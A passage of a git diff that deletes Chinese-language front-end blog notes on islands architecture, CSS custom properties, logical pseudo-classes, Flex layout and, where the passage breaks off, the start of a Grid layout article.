-虽然我不是Marko或Qwik(社区新秀)的专家,但如果您有兴趣了解更多,我将在下面链接了其他资源。与Astro相比,Marko和Qwik将岛屿的概念更进一步。 - -Marko是一个MPA框架,它的Island架构更聪明一些,因为它会自动决定加载一个Island所需的JS,尽可能地延迟它,允许更高效的Island。这与Astro目前的方法不同,后者依赖于开发人员告诉Astro何时进行注水。Astro仍处于预发布阶段,也许未来这种情况会有所改变。 - -Marko相对于Astro的另一个关键优势是,Marko可以决定岛上有什么or岛上没有什么。这意味着仅显示静态内容的组件(如页脚、页眉等)不会成为孤岛,而表单和其他具有动态内容的丰富组件将成为可以水化的孤岛。 - -另一方面,Qwik将其带到组件级别,分解了注水的方式,以便仅在需要时进行注水。这是通过积极地将网站的JavaScript分解为多个块,设置全局事件侦听器并将兴趣点直接序列化为HTML来实现的。对于每个不同的用户交互,Qwik 拥有仅加载执行操作所需的代码所需的一切,仅此而已。 - -![Image](https://pbs.twimg.com/media/FQpm6TcVsAIHN8h?format=jpg&name=medium) - -作为回报,这将导致代码块更小,从而能够更快地加载、解析和加载用户需要的内容。这就是所谓的渐进式注水,这超出了本文的讨论范围,希望我能很快就此进行讨论。 - -## 总结 - -本文着眼于岛屿架构,它们存在的原因以及当前应用它们的框架。在接下来的系列文章中,我想更深入地研究上面提到的框架 —— Astro,Marko和Qwik,以及其他框架,如Svelte,Angular和React,以及它们在内部之间的区别。 - -## 参考来源 - -1. [Why Progressive Hydration is Harder than You Think](https://www.builder.io/blog/why-progressive-hydration-is-harder-than-you-think?utm_source=twitter) -1. [From Static to Interactive: Why Resumability is the Best Alternative to Hydration](https://www.builder.io/blog/from-static-to-interactive-why-resumability-is-the-best-alternative-to-hydration) -1. [JavaScript vs. JavaScript. Fight!](https://dev.to/this-is-learning/javascript-vs-javascript-fight-53fa) -1. [Why Efficient Hydration in JavaScript Frameworks is so Challenging](https://dev.to/this-is-learning/why-efficient-hydration-in-javascript-frameworks-is-so-challenging-1ca3) -1. [Resumable JavaScript with Qwik](https://dev.to/this-is-learning/resumable-javascript-with-qwik-2i29) -1. [Conquering JavaScript Hydration Event delegation is the key to not running over the component... Apr 15](https://dev.to/ryansolid/comment/1ni8p) -1. [State of JavaScript 2021: Framework Reflections](https://dev.to/ryansolid/state-of-javascript-2021-framework-reflections-2i77) -1. [A first look at Qwik - the HTML first framework WRITTEN BYMIŠKO HEVERY JULY 2, 2021](https://www.builder.io/blog/introducing-qwik-framework) - -## 推荐扩展阅读(译者) - -1. [Islands 架构原理和实践 - 掘金](https://juejin.cn/post/7155300194773860382) -2. [从 Islands Architecture 看前端有多卷 - 掘金](https://juejin.cn/post/7131767287979180040) diff --git "a/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" "b/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" deleted file mode 100644 index 03d754cb..00000000 --- "a/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" +++ /dev/null @@ -1,82 +0,0 @@ -# CSS 父元素没有被子元素撑开 - -> 这个应该是昨天问题的复现和最优解 - -### 问题复现 - -在给未设置长度的容器变换背景的时候,加入一个超长内容,原父级容器没有被新的子元素撑开 - -![image-20220818143802901](https://cdn.yihuiblog.top/images/202208181438034.png) - -而是自动获取为父级元素的100% - -![image-20220818143831231](https://cdn.yihuiblog.top/images/202208181438310.png) - -**源码** - -```css -.main { - background: grey; - margin: auto; - width: 50vw; - height: 400px; - overflow: auto; -} - -.list { - height: 100vw; -} - -.long{ - width: 99999px; -} - -.active { - background: aqua; -} -``` - -```jsx -function App() { - let preClickElement = null - const handleClick = useCallback((e) => { - const target = e.currentTarget - target.className = 'active'; - preClickElement && (preClickElement.className = '') - preClickElement = target; - }, []) - - return ( -
-
- { - data.map((item, index) => { - return
{item}
- }) - } -
- longlongdiv -
-
-
- ); -} -``` - -## 原因 - -块级元素被子元素撑开时,如果没设置宽度,宽度就是这个块级元素的父元素的100%,所以`.list`的宽度是`.mian`的100%。 - -块级元素的宽度(未设置的情况下with: auto)等于其父元素内容区的宽度,所以跟儿子撑不撑开没关系。浮动元素和行内块级元素这种失去了天生宽度的元素,才有被儿子撑开一说,所以解决起来也很简单,将`.list`加上 - -```css -display: inline-block; -``` - -即可 - -image-20220818144322293 - -然后关于[width:auto](https://www.zhangxinxu.com/wordpress/2018/07/css-width-auto/)这篇文章非常不错,建议阅读~ diff --git "a/src/CSS/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" "b/src/CSS/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" deleted file mode 100644 index 4c35cb57..00000000 --- "a/src/CSS/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" +++ /dev/null @@ -1,187 +0,0 @@ ---- -date: 2021-11-01 -category: -- CSS -- 前端 ---- - -# CSS 自定义属性/变量 (variables) - -自定义属性(有时候也被称作CSS 变量或者级联变量)是由 CSS 开发者自行定义的,它包含的值可以在整个文档中重复使用。由自定义属性标记设定值(比如: --main-color: black;),由 var() 函数来获取值(比如: color: var(--main-color);)复杂的网站都会有大量的 CSS 代码,通常也会有许多重复的值。 - -## 基本用法 - -声明一个自定义属性,属性名需要以两个减号(`--`)开始,属性值则可以是任何有效的 CSS 值。和其他属性一样,自定义属性也是写在规则集之内的,如下: - -```css -element { - --main-bg-color: brown; -} -``` - -所定义自定义属性需要在其可见作用域内(即被嵌套的标签内使用),通常的最佳实践是定义在根伪类 :root 下,这样就可以在 HTML 文档的任何地方访问到它了: - -```css -:root { - --main-bg-color: brown; -} -``` - -## 相关知识点 - -### var() 函数 - -**`var()`**函数可以代替元素中任何属性中的**值(value)**的任何部分。 - -**`var()`**方法的第一个参数是要替换的自定义属性的名称。函数的可选第二个参数用作回退值。如果第一个参数引用的自定义属性无效,则该函数将使用第二个值。 - -```css - = var( , ) -``` - -#### 举个栗子 - -```css -/* 后备值 */ - -/* 在父元素样式中定义一个值 */ -.component { - --text-color: #080; /* header-color 并没有被设定 */ -} - -/* 在 component 的样式中使用它: */ -.component .text { - color: var(--text-color, black); /* 此处 color 正常取值 --text-color */ -} -.component .header { - color: var(--header-color, blue); /* 此处 color 被回退到 blue */ -} -``` - -#### 特性 - -- **继承:**自定义属性会继承。这意味着如果在一个给定的元素上,没有为这个自定义属性设置值,在其父元素上的值会被使用。 - -- **备用值嵌套:**var()本身可以作为第二个值进行无限嵌套 - - ```css - .three { - background-color: var(--my-var, var(--my-background, pink)); - } - ``` - - 这样写可能会导致性能问题,因为它花了更多的时间在处理这些变量上。 - -- **有效性:**当自定义属性值被解析,浏览器不知道它们什么时候会被使用,所以必须认为这些值都是有效的。但是真实情况是,只有当`var()`函数调用的时候才能知道这些值的有效性,即*计算时有效性*。 - -- **无效情况:**先会检查属性 color 是否为继承属性,如果不是则将该值设置为它的**默认初始值**。 - -### `:root` 伪类 - -`:root` 这个 CSS 伪类匹配文档树的根元素。对于 HTML 来说,`:root` 表示 \ 元素,除了优先级更高之外,与 html 选择器相同。实践中主要用于声明全局CSS变量。 - -## 与Less和Sass变量的区别 - -### 声明 - -LESS用@符号,SCSS用$符号表示 - -```less -@link-color:#000 -@main-top : search; -``` - -```scss -$to-color:#000 -$main-top : search; -``` - -### 使用 - -不同于CSS,声明变量以“插值”的形式使用,并且不但可以表示为数值,文本嵌入表达式,还可以作为类名、属性名等。 - -```less -@myColor: red; - -h1 { - @myColor: green; // 只在 h1 里头有用,局部作用域 - color: @myColor; -} - -.@{myColor}{ - background-color: red -} - -@url-prefix: "http://XXXX"; - -.test { - background: url("@{url-prefix}/images/picutre001.png") no-repeat; -} -``` - -```scss -$myColor: red; - -h1 { - $myColor: green; // 只在 h1 里头有用,局部作用域 - color: $myColor; -} - -// 变量用#{}包裹 -.#{$myColor}{ - background-color: red -} - -$url-prefix: "http://XXXX"; - -.test { - background: url("#{$url-prefix}/images/picutre001.png") no-repeat; -} -``` - -### Less和Sass作用域规则不同 - -Less-作用域 - -```less -@color: #00c; /* 蓝色 */ -#header { - @color: #c00; /* red */ - border: 1px solid @color; /* 红色边框 */ -} - -#footer { - border: 1px solid @color; /* 蓝色边框 */ -} -``` - -Less-作用域编译后 - -```css -#header{border:1px solid #cc0000;} -#footer{border:1px solid #0000cc;} -``` - -scss-作用域 - -```scss -$color: #00c; /* 蓝色 */ - -#header { - $color: #c00; /* red */ - border: 1px solid $color; /* 红色边框 */ -} - -#footer { - border: 1px solid $color; /* 蓝色边框 */ -} -``` - -Sass-作用域编译后 - -```scss -#header{border:1px solid #c00} -#footer{border:1px solid #c00} -``` - -Less区分上下级作用域,使用与原生CSS `var()` 一致的作用域规则,SCSS为就近原则,即至顶向下的转换规则。 diff --git "a/src/CSS/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" "b/src/CSS/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" deleted file mode 100644 index 9000badf..00000000 --- "a/src/CSS/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" +++ /dev/null @@ -1,167 +0,0 @@ ---- -date: 2022-12-24 -category: -- CSS ---- - -# CSS进阶:逻辑组合伪类 :not() :is() :where() :has() - -本文将介绍4个逻辑组合伪类,分别是`:not()` `:is()` `:where()` `:has()` ,这四个伪类的自身优先级为0,这与其他伪类相同,但处理时是将其和括号里的参数作为一个整体计算优先级,这就导致了实际表现出的优先级由参数决定(除了`:where()` 的优先级总是为 0)。 - -目前这四位目前都得到了大多数浏览器的支持,同时非常实用,务必掌握哦~ - -## 否定伪类 :not() - -`:not()` 伪类用于否定选择器,可以接受一个或多个选择器作为参数,如果元素不匹配参数中的任何一个选择器,则匹配该伪类,它也被称为反选伪类(negation pseudo-class)。 - -1. `:not()` 伪类优先级是0,即本身没有任何优先级,其优先级由括号内表达式决定 - - ```css - :not(li) {} - ``` - - 其优先级就是 `li` 选择器的优先级。 - -2. `:not()` 伪类可以不断级联 - - ```css - body :not(div):not(span) { - font-weight: bold; - } - ``` - - 表示既不是`
` 也不是` ` 的元素 - -3. `:not()` 伪类目前已支持多个表达式 - - ```css - body :not(div, .fancy) { - text-decoration: overline underline; - } - ``` - - 表示不是`
`或 `.fancy` 的元素 - -### 告别重置 - -`:not`伪类最大的作用就是可以优化我们过去重置CSS样式的策略,使我们代码更加简介,易于理解,例如: - -```css -.panel{ - display: none; -} - -.panel .active{ - display: block; -} -``` - -实际上我们可以简写成 - -```css -.panel :not(.active){ - display: block; -} -``` - -类似的,希望大家能够培养这种意识,对于遇到需要重置CSS样式的场景,第一反应就是使用`:not`伪类。 - -## 任意匹配伪类 :is() - -### :is()伪类与:matches()伪类及:any()伪类之间的关系 - -2018 年 10 月底,`:matches ()`伪类改名为`:is()`伪类 ([[selectors-4] Rename :matches() to :is() · Issue #3258 · w3c/csswg-drafts](https://github.com/w3c/csswg-drafts/issues/3258)),因为`:is()`的名称更简短,且其语义正好和`:not() `相反。 - -也就是说,`:matches ()`伪类是`:is ()`伪类的前身。然后很有趣的是`:matches ()`还有一个被舍弃的前身,那就是`:any()`伪类,被舍弃的原因是选择器的优先级不准确,`:any()`伪类会忽略括号里面选择器的优先级,而永远是普通伪类的优先级。 - -`:any()`伪类名义上虽然被舍弃了,但是除了 IE/Edge 以外的浏览器都支持,而且很早就支持,现在也都支持,不过都需要添加私有前缀,如`-webkit-any()`以及`-moz-any()`。 - -### 用法 - -`:is()` 将选择器列表作为参数,并选择该列表中任意一个选择器可以选择的元素。这对于以更紧凑的形式编写大型选择器非常有用。 - -```css -/* 选择 header、main、footer 里的任意一个悬浮状态的段落 */ -:is(header, main, footer) p:hover { - color: red; - cursor: pointer; -} - -/* 以上内容相当于以下内容 */ -header p:hover, -main p:hover, -footer p:hover { - color: red; - cursor: pointer; -} -``` - -### :is() 和 :where() 的区别 - -两者的区别在于 `:is()` 计入整体选择器的优先级(它接受优先级最高参数的优先级),而 `:where()` 的优先级为 0。 - -综上,`is()`是一个有用但不被迫切需要的伪类,但是还是很实用的 - -## 任意匹配伪类 :where() - -`:where()`伪类是和`:is()`伪类一同出现的,它们的含义、语法、作用一模一样。唯一的区别就是优先级不一样,`:where()` 伪类的优先级永远是 0。例如: - -```css -:where(.article, section) p {} -``` - -的优先级等同于 `p` 选择器,参数里的选择器的优先级被完全忽略。 - -又如: -```css -:where(#article, #section) .content {} -``` - -的优先级等同于`.content` 选择器 - -### 可容错选择器解析 - -规范将 `:is()` 和 `:where()` 定义为接受一个[可容错选择器列表](https://drafts.csswg.org/selectors-4/#typedef-forgiving-selector-list) - -在 CSS 中使用选择器列表时,如果任何选择器无效,则整个列表被视为无效,即如果某个选择器无法解析,则被视为无效,不正确或不受支持的选择器将被忽略,其他选择器将被使用。 - -```css -:is(:valid, :unsupported) { - /* … */ -} -``` - -即使在不支持 `:unsupported` 的浏览器中,仍将正确解析 `:valid`,而这种写法: - -```css -:valid, -:unsupported { - /* … */ -} -``` - -在不支持 `:unsupported` 浏览器中即使它们支持 `:valid`,仍将忽略。 - -## 关联伪类 :has() - -`:has()`伪类是一个规范制定得很早但浏览器却迟迟没有支持的伪类。如果浏览器能够支持,其功能会非常强大,因为它可以实现类似“父选择器”和“前面兄弟选择器”的功能(提供了一种针对引用元素选择父元素或者先前的兄弟元素的方法),对CSS 的开发会有颠覆性的影响。 - -例如: - -```css -a:has(> svg) [} -``` - -表示匹配包含有``元素的``元素,实现的就是“父选择器”的效果,即根据子元素选择父元素。 - -又如: - -```css -h1:has(+ p) {} -``` - -表示匹配后面跟随`

`元素的`

`元素,实现的就是“前面兄弟选择器”的效果,即根据后面的兄弟元素选择前面的元素。 - -早前这并没有被浏览器所支持,最近查看MDN发现很多浏览器已经支持了~([:has() - CSS(层叠样式表) | MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)) - -![image-20230117165405737](https://cdn.yihuiblog.top/images/202301171654814.png) diff --git "a/src/CSS/Flex \345\270\203\345\261\200.md" "b/src/CSS/Flex \345\270\203\345\261\200.md" deleted file mode 100644 index c097d49a..00000000 --- "a/src/CSS/Flex \345\270\203\345\261\200.md" +++ /dev/null @@ -1,376 +0,0 @@ ---- -date: 2021-04-24 -category: -- CSS -- 前端 ---- -# Flex 布局 - -> 本文总结自两篇非常不错的Flex布局讲解文章,希望可以帮到你。 - -## 简介 - -弹性盒子是 CSS3 的一种新的布局模式。CSS3 弹性盒( Flexible Box 或 flexbox),是一种当页面需要适应不同的屏幕大小以及设备类型时确保元素拥有恰当的行为的布局方式。引入弹性盒布局模型的目的是提供一种更加有效的方式来对一个容器中的子元素进行排列、对齐和分配空白空间。 - -弹性盒子由弹性容器(Flex container)和弹性子元素(Flex item)组成。弹性容器通过设置 display 属性的值为 flex 或 inline-flex将其定义为弹性容器。弹性容器内包含了一个或多个弹性子元素。 - -Flex适用于较高版本浏览器,如果是想要兼容较底版本,则推荐使用。好了,让我们速开始: - -## Flex 基本概念 - -![](https://pic4.zhimg.com/80/v2-54a0fc96ef4f455aefb8ee4bc133291b_720w.jpg) - -在 flex 容器中默认存在两条轴,**水平主轴(main axis) 和垂直的交叉轴(cross axis)**,这是默认的设置,当然你可以通过修改使垂直方向变为主轴,水平方向变为交叉轴,这个我们后面再说。 - -在容器中的每个单元块被称之为 **flex item**,每个项目占据的主轴空间为 (main size), 占据的交叉轴的空间为 (cross size)。 - -这里需要强调,不能先入为主认为宽度就是 main size,高度就是 cross size,这个还要**取决于你主轴的方向,如果你垂直方向是主轴,那么项目的高度就是 main size**。 - -## Flex 容器: - -首先,实现 flex 布局需要先指定一个容器,任何一个容器都可以被指定为 flex 布局,这样容器内部的元素就可以使用 flex 来进行布局。 - -```css -.container { - display: flex | inline-flex; //可以有两种取值 -} -``` - -分别生成一个块状或行内的 flex 容器盒子。简单说来,如果你使用**块元素如 div,你就可以使用 flex**,而如果你使用**行内元素**,你可以使用 **inline-flex**。 - -**注:当时设置 flex 布局之后,子元素的 float、clear、vertical-align 的属性将会失效。** - -有下面六种属性可以设置在容器上,它们分别是: - -```css -1. flex-direction -2. flex-wrap -3. flex-flow -4. justify-content -5. align-items -6. align-content -``` - -### 1. flex-direction: 决定主轴的方向(即项目的排列方向) - -```css -.container { - flex-direction: row | row-reverse | column | column-reverse; -} -``` - -**默认值:row,主轴为水平方向,起点在左端。** - -![](https://pic2.zhimg.com/80/v2-ae8828b8b022dc6f1b28d5b4f7082e91_720w.jpg) - -- **row-reverse:主轴为水平方向,起点在右端** - -![](https://pic3.zhimg.com/80/v2-215c8626ac95e97834eddb552cfa148a_720w.jpg) - -- **column:主轴为垂直方向,起点在上沿** - -![](https://pic1.zhimg.com/80/v2-33efe75d166a47588e0174d0830eb020_720w.jpg) - -- **column-reverse:主轴为垂直方向,起点在下沿** - -![](https://pic2.zhimg.com/80/v2-344757e0fb7eee11e75b127b8485e679_720w.jpg) - -### **2. flex-wrap: 决定容器内项目是否可换行** - -默认情况下,项目都排在主轴线上,使用 flex-wrap 可实现项目的换行。 - -**默认值:nowrap 不换行,即当主轴尺寸固定时,当空间不足时,项目尺寸会随之调整(变形)而并不会挤到下一行。** - -![](https://pic4.zhimg.com/80/v2-a590927ad6d83de8840d52a0cf2f0df3_720w.jpg) - -- **wrap:项目主轴总尺寸超出容器时换行,第一行在上方** - -![](https://pic2.zhimg.com/80/v2-426949b061e8179aab00cacda8168651_720w.jpg) - -- **wrap-reverse:换行,第一行在下方** - -![](https://pic2.zhimg.com/80/v2-91c53ebf744814e1ab60267643866439_720w.jpg) - -### **3. flex-flow: flex-direction 和 fl****x-wrap 的简写形式** - -```css -.container { - flex-flow: || ; -} -``` - -**没什么用,老老实实分开写** - -### **4. justify-content:定义了项目在主轴的对齐方式。** - -```css -.container { - justify-content: flex-start | flex-end | center | space-between | space-around; -} -``` - -PS:非常好用,类似自动化编排 - -**建立在主轴为水平方向时测试,即 flex-direction: row** - -**默认值: flex-start 左对齐** - -![](https://pic1.zhimg.com/v2-1bafab80044a7ab2a6198d5937172eb0_r.jpg) - -- **flex-end:右对齐** - -![](https://pic3.zhimg.com/80/v2-8b163809a4c944486a127a7c22eee7b2_720w.jpg) - -- **center:居中** - -![](https://pic4.zhimg.com/80/v2-dea82c75d35f532d35a52d1f9c1c762b_720w.jpg) - -- **space-between:两端对齐,项目之间的间隔相等,即剩余空间等分成间隙。** - -![](https://pic1.zhimg.com/80/v2-ea4061e0f64dd8d7a1fcb5b0ad6f96a8_720w.jpg) - -- **space-around:每个项目两侧的间隔相等,所以项目之间的间隔比项目与边缘的间隔大一倍。**(边0.5,间隔1) - -![](https://pic1.zhimg.com/80/v2-42a358111a221ff52768bdd55238eb0c_720w.jpg) - -### **5. align-items: 定义了项目在交叉轴上的对齐方式** - -```css -.container { - align-items: flex-start | flex-end | center | baseline | stretch; -} -``` - -**建立在主轴为水平方向时测试,即 flex-direction: row** - -默认值为 stretch 即如果项目未设置高度或者设为 auto,将**占满整个容器的高度。** - -![](https://pic2.zhimg.com/80/v2-0cced8789b0d73edf0844aaa3a08926d_720w.jpg) - -假设容器高度设置为 100px,而项目都没有设置高度的情况下,则项目的高度也为 100px。 - -- **flex-start:交叉轴的起点对齐** - -![](https://pic3.zhimg.com/80/v2-26d9e85039beedd78e412459bd436e8a_720w.jpg) - -假设容器高度设置为 100px,而项目分别为 20px, 40px, 60px, 80px, 100px, 则如上图显示。 - -- **flex-end:交叉轴的终点对齐** - -![](https://pic4.zhimg.com/80/v2-8b65ee47605a48ad2947b9ef4e4b01b3_720w.jpg) - -- **center:交叉轴的中点对齐** - -![](https://pic3.zhimg.com/80/v2-7bb9d8385273d8ad469605480f40f8f2_720w.jpg) - -- **baseline: 项目的第一行文字的基线对齐** - -以文字的底部为主,仔细看图可以理解。 - -![](https://pic3.zhimg.com/80/v2-abf7ac4776302ad078986f7cd0dddaee_720w.jpg) - -### **6. align-content: 定义了多根轴线的对齐方式,如果项目只有一根轴线,那么该属性将不起作用** - -```css -.container { - align-content: flex-start | flex-end | center | space-between | space-around | stretch; -} -``` - -这个这样理解: - -当你 flex-wrap 设置为 nowrap 的时候,容器仅存在一根轴线,因为项目不会换行,就不会产生多条轴线。 - -当你 flex-wrap 设置为 wrap 的时候,容器可能会出现多条轴线,这时候你就需要去设置多条轴线之间的对齐方式了。 - -建立在主轴为水平方向时测试,即 flex-direction: row, flex-wrap: wrap - -- **默认值为 stretch**,看下面的图就很好理解了 - -![](https://pic3.zhimg.com/80/v2-2d5feceece695fb84fd650fc49164bd6_720w.jpg) - -- **flex-start:轴线全部在交叉轴上的起点对齐(左上角)** - -![](https://pic2.zhimg.com/80/v2-61d92d7dc68e3d7d415a16830050fd11_720w.jpg) - -- **flex-end:轴线全部在交叉轴上的终点对齐(右下角)** - -![](https://pic2.zhimg.com/80/v2-0a0a7f10c50596aade787ae11b7b0a75_720w.jpg) - -- **center:轴线全部在交叉轴上的中间对齐** - -![](https://pic1.zhimg.com/80/v2-dcf53fce8dbcde7da9c677dd1a033860_720w.jpg) - -- **space-between:轴线两端对齐,之间的间隔相等,即剩余空间等分成间隙。(类比justify-content)** - -![](https://pic2.zhimg.com/80/v2-d80940f71e1e08d45d3d6df4c5401d0d_720w.jpg) - -- **space-around:每个轴线两侧的间隔相等,所以轴线之间的间隔比轴线与边缘的间隔大一倍。** - -![](https://pic2.zhimg.com/80/v2-7c4d5c01f3851a3cec7f8487c6edb21d_720w.jpg) - -## Flex 项目属性: - -**有六种属性可运用在 item 项目上:** - -1. order -2. flex-basis -3. flex-grow -4. flex-shrink -5. flex -6. align-self - -### **1. order: 定义项目在容器中的排列顺序,数值越小,排列越靠前,默认值为 0** - -```css -.item { - order: ; -} -``` - -![](https://pic3.zhimg.com/80/v2-d606874ac9c496b3a0e46573c85e4376_720w.jpg) - -在 HTML 结构中,虽然 -2,-1 的 item 排在后面,但是由于分别设置了 order,使之能够排到最前面。 - -### **2. flex-basis: 定义了在分配多余空间之前,项目占据的主轴空间,浏览器根据这个属性,计算主轴是否有多余空间** - -```css -.item { - flex-basis: | auto; -} -``` - -默认值:auto,即项目本来的大小, 这时候 item 的宽高取决于 width 或 height 的值。 - -**当主轴为水平方向的时候,当设置了 flex-basis,项目的宽度设置值会失效,flex-basis 需要跟 flex-grow 和 flex-shrink 配合使用才能发挥效果。** - -- 当 flex-basis 值为 0 % 时,是把该项目视为零尺寸的,故即使声明该尺寸为 140px,也并没有什么用。 -- 当 flex-basis 值为 auto 时,则跟根据尺寸的设定值(假如为 100px),则这 100px 不会纳入剩余空间。 - -### 3**. flex-grow: 定义项目的放大比例** - -```css -.item { - flex-grow: ; -} -``` - -默认值为 0,即如果存在剩余空间,也不放大(依照basis) - -![](https://pic4.zhimg.com/80/v2-5f7898c1f51fa7274a2c0b4a9dfd88c3_720w.jpg) - -当所有的项目都以 flex-basis 的值进行排列后,仍有剩余空间,那么这时候 flex-grow 就会发挥作用了。 - -如果所有项目的 flex-grow 属性都为 1,则它们将等分剩余空间。(如果有的话) - -如果一个项目的 flex-grow 属性为 2,其他项目都为 1,则前者占据的剩余空间将比其他项多一倍。 - -当然如果当所有项目以 flex-basis 的值排列完后发现空间不够了,且 flex-wrap:nowrap 时,此时 flex-grow 则不起作用了,这时候就需要接下来的这个属性。 - -### **4. flex-shrink: 定义了项目的缩小比例** - -```css -.item { - flex-shrink: ; -} -``` - -默认值: 1,即如果空间不足,该项目将缩小,负值对该属性无效。 - -![](https://pic4.zhimg.com/80/v2-383e97971a7fc8c4f84e6a85406dbcaf_720w.jpg) - -每个项目会被同比例进行缩小,因为默认值为 1。 - -- 如果所有项目的 flex-shrink 属性都为 1,当空间不足时,都将等比例缩小。 - -- 如果一个项目的 flex-shrink 属性为 0,其他项目都为 1,则空间不足时,前者不缩小。 - -### **5. flex: flex-grow, flex-shrink 和 flex-basis的简写** - -```css -.item{ - flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ] -} -``` - -flex 的默认值是以上三个属性值的组合。假设以上三个属性同样取默认值,则 flex 的默认值是 0 1 auto。 - -**有关快捷值:auto (1 1 auto) 和 none (0 0 auto)** - -- 当 flex 取值为一个非负数字,则该数字为 flex-grow 值,flex-shrink 取 1,flex-basis 取 0%,如下是等同的: - -```css -.item {flex: 1;} -.item { - flex-grow: 1; - flex-shrink: 1; - flex-basis: 0%; -} -``` - -- 当 flex 取值为 0 时,对应的三个值分别为 0 1 0% - -```css -.item {flex: 0;} -.item { - flex-grow: 0; - flex-shrink: 1; - flex-basis: 0%; -} -``` - -- 当 flex 取值为一个长度或百分比,则视为 flex-basis 值,flex-grow 取 1,flex-shrink 取 1,有如下等同情况(注意 0% 是一个百分比而不是一个非负数字) - -```css -.item-1 {flex: 0%;} -.item-1 { - flex-grow: 1; - flex-shrink: 1; - flex-basis: 0%; -} - -.item-2 {flex: 24px;} -.item-2 { - flex-grow: 1; - flex-shrink: 1; - flex-basis: 24px; -} -``` - -- 当 flex 取值为两个非负数字,则分别视为 flex-grow 和 flex-shrink 的值,flex-basis 取 0%,如下是等同的: - -```css -.item {flex: 2 3;} -.item { - flex-grow: 2; - flex-shrink: 3; - flex-basis: 0%; -} -``` - -- 当 flex 取值为一个非负数字和一个长度或百分比,则分别视为 flex-grow 和 flex-basis 的值,flex-shrink 取 1,如下是等同的: - -```css -.item {flex: 11 32px;} -.item { - flex-grow: 11; - flex-shrink: 1; - flex-basis: 32px; -} -``` - -> 建议优先使用这个属性,而不是单独写三个分离的属性。 -> -> grow 和 shrink 是一对,grow 表示扩张因子,shrink 表示是收缩因子。 - -## 结尾 - -> **参照:** -> -> [一劳永逸的搞定 flex 布局](https://juejin.cn/post/6844903474774147086) -> -> [CSS Flexible Box Layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout) -> -> [30 分钟学会 Flex 布局](https://zhuanlan.zhihu.com/p/2530343) -> - diff --git "a/src/CSS/Grid \345\270\203\345\261\200.md" "b/src/CSS/Grid \345\270\203\345\261\200.md" deleted file mode 100644 index 2fee42d9..00000000 --- "a/src/CSS/Grid \345\270\203\345\261\200.md" +++ /dev/null @@ -1,855 +0,0 @@ ---- -date: 2021-04-24 -category: -- CSS -- 前端 ---- -# Grid 布局 - -> 作者:Gopal -> 链接:https://juejin.cn/post/6854573220306255880 -> 来源:稀土掘金 - -## Grid 布局是什么? - -`Grid` 布局即网格布局,是一种新的 `CSS` 布局模型,比较擅长将一个页面划分为几个主要区域,以及定义这些区域的大小、位置、层次等关系。号称是最强大的的 `CSS` 布局方案,是目前唯一一种 `CSS` 二维布局。利用 `Grid` 布局,我们可以轻松实现类似下图布局,[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FqBbveKB%3Feditors%3D1100) - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591885783dd~tplv-t2oaga2asx-watermark.awebp) - -## Grid 布局和 flex 布局 - -讲到布局,我们就会想到 `flex` 布局,甚至有人认为竟然有 `flex` 布局了,似乎没有必要去了解 `Grid` 布局。但 `flex` 布局和 `Grid` 布局有实质的区别,那就是 **`flex` 布局是一维布局,`Grid` 布局是二维布局**。`flex` 布局一次只能处理一个维度上的元素布局,一行或者一列。`Grid` 布局是将容器划分成了“行”和“列”,产生了一个个的网格,我们可以将网格元素放在与这些行和列相关的位置上,从而达到我们布局的目的。 - -**`Grid` 布局远比 `flex` 布局强大!** - -flex布局示例: - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/28/173945aadff842d1~tplv-t2oaga2asx-watermark.awebp) - - - -Grid 布局示例: - - - -![Grid 布局](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918bcb5190~tplv-t2oaga2asx-watermark.awebp) - -## Grid 的一些基础概念 - -我们使用 Grid 实现一个小例子,演示 Grid 的一些基础概念,[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FQWyoexm%3Feditors%3D1100) - -``` -
-
One
-
Two
-
Three
-
Four
-
Five
-
Six
-
-复制代码 -.wrapper { - margin: 60px; - /* 声明一个容器 */ - display: grid; - /* 声明列的宽度 */ - grid-template-columns: repeat(3, 200px); - /* 声明行间距和列间距 */ - grid-gap: 20px; - /* 声明行的高度 */ - grid-template-rows: 100px 200px; -} -.one { - background: #19CAAD; -} -.two { - background: #8CC7B5; -} -.three { - background: #D1BA74; -} -.four { - background: #BEE7E9; -} -.five { - background: #E6CEAC; -} -.six { - background: #ECAD9E; -} -.item { - text-align: center; - font-size: 200%; - color: #fff; -} -复制代码 -``` - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918bfd94e9~tplv-t2oaga2asx-watermark.awebp) - - - -容器和项目:我们通过在元素上声明 `display:grid` 或 `display:inline-grid` 来创建一个网格容器。一旦我们这样做,这个元素的所有直系子元素将成为网格项目。比如上面 `.wrapper` 所在的元素为一个网格容器,其直系子元素将成为网格项目。 - -网格轨道:`grid-template-columns` 和 `grid-template-rows` 属性来定义网格中的行和列。容器内部的水平区域称为行,垂直区域称为列。上图中 `One`、`Two`、`Three` 组成了一行,`One`、`Four` 